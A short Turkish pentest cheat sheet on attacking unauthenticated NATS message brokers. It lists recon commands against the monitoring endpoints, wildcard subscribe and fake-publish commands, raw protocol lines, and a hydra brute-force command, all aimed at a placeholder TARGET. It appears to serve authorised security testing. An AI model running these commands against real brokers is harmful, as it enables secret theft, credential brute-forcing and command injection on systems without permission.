4222 - Pentesting NATS

network messaging

NATS (4222/tcp, monitoring 8222) mesaj kuyruğudur. Auth kapalıysa tüm subject’lere pub/sub ile veri sızıntısı ve komut enjeksiyonu mümkündür.

Metodoloji

1. 4222 ve 8222 monitoring portlarını doğrula.

2. Anonim bağlantı ve INFO banner al.

3. Subject wildcard subscribe ile trafik dinle.

4. Kritik subject’e sahte mesaj publish et.

Keşif

nmap -Pn -sV -p4222,8222,6222 TARGET

nc -nv TARGET 4222

curl -sk http://TARGET:8222/varz

curl -sk http://TARGET:8222/connz

curl -sk http://TARGET:8222/subsz

Client bağlanma

nats server check connection --server nats://TARGET:4222

nats sub '>' --server nats://TARGET:4222

nats pub demo.hi 'pwn' --server nats://TARGET:4222

# auth varsa:
nats sub '>' --server nats://user:pass@TARGET:4222

Ham protokol

CONNECT {"verbose":false,"pedantic":false,"tls_required":false,"name":"pentest","lang":"go","version":"1.0"}

SUB > 1

PUB test 3

pwn

Brute

hydra -L users.txt -P rockyou.txt nats://TARGET

Monitoring /varz içinde auth timeout ve connection ip'leri sızabilir

Etki

- Credential/token subject'lerinden secret yakalama
- Worker'lara sahte job publish
- Service mesh komut kanalını hijack

Checklist

[ ] 4222/8222 açık
[ ] Anonim sub/pub
[ ] Wildcard dinleme ile secret
[ ] Sahte publish etkisi